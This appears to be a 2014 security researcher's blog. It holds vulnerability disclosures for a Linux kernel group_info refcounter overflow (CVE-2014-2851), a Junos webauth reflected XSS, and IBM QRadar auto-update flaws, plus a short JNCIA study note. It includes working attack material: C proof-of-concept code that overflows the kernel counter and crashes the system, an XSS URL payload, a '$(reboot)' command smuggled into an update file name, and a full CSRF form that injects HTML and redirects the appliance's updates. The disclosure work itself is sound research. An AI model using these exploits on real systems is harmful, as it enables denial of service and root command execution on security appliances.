Sunday, May 4, 2014

Notes on CVE-2014-2851 - Linux group_info use-after-free

I spent some more time looking at the ping_init_sock group_info usage refcounter overflow I wrote about in a previous post. I uploaded code I used for this research to github .

The code makes it possible to check whether the usage refcounter became zero and the group_info struct is freed. I've written a more elaborate explanation in the README.

I hope to find more time to investigate this issue and update the code in the coming days.

Thursday, April 17, 2014

Linux group_info refcounter overflow memory corruption (CVE-2014-2851)

This post on LKML got me curious and I decided to trigger the overflow to see what it got me.

  1. #include <arpa/inet.h>
  2. #include <stdio.h>
  3. #include <sys/socket.h>
  4. int main(int argc, char *argv[]) {
  5.     int i ;
  6.     struct sockaddr_in saddr;
  7.     unsigned count = -8 ;
  8.     if(argc >= 2){
  9.         // Specify count
  10.         count = atoi(argv[1]);
  11.     }
  12.     printf("count %i\n",count);
  13.     for(= 0 ; i < count;i++ ){
  14.         socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);
  15.         if ( i % ( 1 << 22 ) == 0 )
  16.             printf("%i \n",i);
  17.     }
  18.     //Now make it wrap and crash:
  19.     system("/bin/echo bye bye");
  20. }

If the code doens't work, try different values for count ( argv[1] ), for example -20 . When the exploit finishes, run some nested shells to increment the group_info usage counter : every subprocess will increment the usage counter .

It takes a while because 2^32 syscalls have to be executed, but eventually the refcounter overflows.
When the refcounter is close to be overflown, the code executes another process. When this process finishes, atomic_dec_and_test returns true and the creds are freed while still referenced. This results in corruption of the cred_jar slab cache which leads to a system crash.

The actual overflows happens in cred.h :

atomic_inc(&gi->usage);

The disassembly of  ping_init_sock shows the overflow:
Dump of assembler code for function ping_init_sock:
   0xffffffff8164b960 <+0>:     push   %rbp
   0xffffffff8164b961 <+1>:     mov    %rsp,%rbp
   0xffffffff8164b964 <+4>:     push   %r12
   0xffffffff8164b966 <+6>:     push   %rbx
   0xffffffff8164b967 <+7>:     data32 data32 data32 xchg %ax,%ax
   0xffffffff8164b96c <+12>:    mov    %gs:0xb880,%rax
   0xffffffff8164b975 <+21>:    mov    0x480(%rax),%rax
   0xffffffff8164b97c <+28>:    mov    0x30(%rdi),%rdx
   0xffffffff8164b980 <+32>:    mov    0x18(%rax),%edi
   0xffffffff8164b983 <+35>:    mov    0x88(%rax),%rax
=> 0xffffffff8164b98a <+42>:    incl   %ds:(%rax)
   0xffffffff8164b98d <+45>:    mov    0x4(%rax),%r10d
   0xffffffff8164b991 <+49>:    lea    0x390(%rdx),%r9




Monday, March 17, 2014

JNCIA JN0-102 Study Guide Summary

I recently passed the Juniper JNCIA JN0-102 exam. JNCIA is Juniper's entry-level certification which I found more difficult than the CISSP exam.
I made some kind of summary that can be found at the following location:

JNCIA Study Guide Summary

The summary won't be enough to pass, you'll certainly need hands-on junos experience.

Monday, February 10, 2014

Junos Webauth Reflected XSS

I discovered a reflected xss in junos srx webauth



/webauth/webauth_login.php?target=&auth_id=&ap_name=">[HTML] , for example


update

this issue seems to be reported previously but it's not yet fixed. The reply from juniper when informing them about this issue:

"

Hi Thomas,

Thank you for contacting the Juniper SIRT.

This cross site scripting vulnerability is an issue that we are aware of. We are been working on a fix and are preparing to announce this issue in a future Junos security bundle, once all of the supported releases have been fixed. 

Thank you for bringing this to our attention though, as we do appreciate being notified when security issues are found in our products. 

Thanks,
Juniper SIRT

"





Friday, January 24, 2014

IBM QRadar SIEM CSRF - XSS - MITM - RCE

I have found the IBM QRadar Security Intelligence Platform (<= v7.2 ) auto update mechanisms exposes a number of security bugs.

Web Interface Sreenshot (/console/do/qradar/autoupdateConsole)

  • The autoupdateConsole doesn't check for cross site request forgery
  • Input to the autoupdateConsole proxyUsername field is not sanitized, therefore it is possible to inject html into the web interface
  • The autoupdate mechanism doesn't check ssl certificates before downloading the updates
  • The autoupdate mechanism downloads a file scripts/script_list which contains a list of files together with their hash. The autoupdate process then tries to verify the hash but doing so, it doesn't escape shell characters. This way it is possible to execute commands. For example, the appliance will reboot if the script_list contains an entry 

372e25f23b5a8ae33c7ba203412ace30  $(reboot)
  • The autoupdate mechanism runs as root
Update - Details:
  • In the default configuration (above screenshot), the qradar checks for files on https://qmmunity.q1labs.com/ in wwwroot/autoupdates . My rogue autoupdate server web directory looks like this:

  • the manifest_files file  contains a hash for blah, the scripts_list contains the $(reboot) command. blah and blah.asc may be empty.
  • The autoupdate logs can be found in /store/backup/autoupdates, A (slightly redacted) log looks like this:

[root@qradar ~]# cat AU-1390671842/AU-1390671842.log
Autoupdate initialized.
Sat Jan 25 18:44:02 2014 [DEVEL] Recorded license info as "?version=7.2.0.666700&customer=pwncorp
Sat Jan 25 18:44:02 2014 [DEVEL] Downloading "manifest_list" and placing in "/store/autoupdates/".
Sat Jan 25 18:44:02 2014 [DEVEL] Attempting to retrieve https://qmmunity.q1labs.com/autoupdates/manifest_list?
Sat Jan 25 18:44:03 2014 [DEVEL] Retrieved "manifest_list"
Sat Jan 25 18:44:03 2014 [DEVEL] Downloading "vendor_manifest_list" and placing in "/store/autoupdates/".
Sat Jan 25 18:44:03 2014 [DEVEL] Attempting to retrieve https://qmmunity.q1labs.com/autoupdates/vendor_manifest_list?
Sat Jan 25 18:44:03 2014 [INFO] Could not retrieve "vendor_manifest_list": 404 Not Found
Sat Jan 25 18:44:03 2014 [DEVEL] Could not download vendor_manifest_list.
Sat Jan 25 18:44:03 2014 [DEVEL] SHA1 = da39a3ee5e6b4b0d3255bfef95601890afd80709  Manifest = blah
Sat Jan 25 18:44:03 2014 [DEVEL] Downloading "blah"
Sat Jan 25 18:44:03 2014 [DEVEL] Downloading "blah" and placing in "/store/autoupdates/".
Sat Jan 25 18:44:03 2014 [DEVEL] Attempting to retrieve https://qmmunity.q1labs.com/autoupdates/blah?version=
Sat Jan 25 18:44:03 2014 [DEVEL] Retrieved "blah"
Sat Jan 25 18:44:03 2014 [DEVEL] SHA1 = da39a3ee5e6b4b0d3255bfef95601890afd80709  Filename = blah
Sat Jan 25 18:44:03 2014 [DEVEL] Downloading "blah.asc" and placing in "/store/autoupdates/".
Sat Jan 25 18:44:03 2014 [DEVEL] Attempting to retrieve https://qmmunity.q1labs.com/autoupdates/blah.asc?
Sat Jan 25 18:44:03 2014 [DEVEL] Retrieved "blah.asc"
Sat Jan 25 18:44:03 2014 [DEVEL] Downloaded manifest: blah
Sat Jan 25 18:44:03 2014 [DEVEL] Downloading "scripts/script_list" and placing in "/store/autoupdates/".
Sat Jan 25 18:44:03 2014 [DEVEL] Attempting to retrieve https://qmmunity.q1labs.com/autoupdates/scripts/script_list?
Sat Jan 25 18:44:03 2014 [DEVEL] Retrieved "scripts/script_list"
Sat Jan 25 18:44:03 2014 [DEVEL] SHA1 = 372e25f23b5a8ae33c7ba203412ace30  Scripts = $(reboot)
Sat Jan 25 18:44:03 2014 [DEVEL] Downloading "$(reboot)"
Sat Jan 25 18:44:03 2014 [DEVEL] Downloading "$(reboot)" and placing in "/store/autoupdates/".
Sat Jan 25 18:44:03 2014 [DEVEL] Attempting to retrieve https://qmmunity.q1labs.com/autoupdates/$(reboot)?

........ At this point the hash is calculated and the qradar reboots....

for a regular file, the log looks like this:

Fri Jan 24 11:23:02 2014 [DEVEL] Downloading "t.tgz"
Fri Jan 24 11:23:02 2014 [DEVEL] Downloading "t.tgz" and placing in "/store/autoupdates/".
Fri Jan 24 11:23:02 2014 [DEVEL] Attempting to retrieve https://qmmunity.q1labs.com/t.tgz?
Fri Jan 24 11:23:02 2014 [DEVEL] Retrieved "t.tgz"

Fri Jan 24 11:23:02 2014 [DEVEL] SHA1 = 7d8e6e45aa6567ace519d8ef00772db4bcfaaf9d  Filename = t.tgz
  • The CSRF form contains the following fields - It is possible to xss these but redirecting the autoupdates is funny as well ;)
  1. <form action=https://QRADAR/console/do/qradar/autoupdateSettings?appName=qradar&pageId=Settings&dispatch=saveSettings&curTab=1 method=POST>
  2. <input type=text name=scheduleInterval value="daily">
  3. <input type=text name=scheduleHour value="T03:00:00">
  4. <input type=text name=configurationUpdateMethod value="autointegrate">
  5. <input type=text name=dsmUpdateMethod value="2">
  6. <input type=text name=majorUpdateMethod value="1">
  7. <input type=text name=minorUpdateMethod value="1">
  8. <input type=text name=isAutoDeploy value="on">
  9. <input type=text name=autoRestartService value="on">
  10. <input type=text name=webSeverAddr value="https://qmmunity.q1labs.com/">
  11. <input type=text name=baseDir value="autoupdates/">
  12. <input type=text name=proxyServer value="">
  13. <input type=text name=proxyPort value="4443">
  14. <input type=text name=proxyUsername value='"> XSS/HTML :D'>
  15. <input type=text name=proxyPassword value="f">
  16. <input type=text name=backupRetentionPeriod value="30">
  17. <input type=text name=backupLocation value="/store/backup/autoupdates">
  18. <input type=text name=downloadDir value="/store/configservices/staging/updates">
  19. <input type=submit>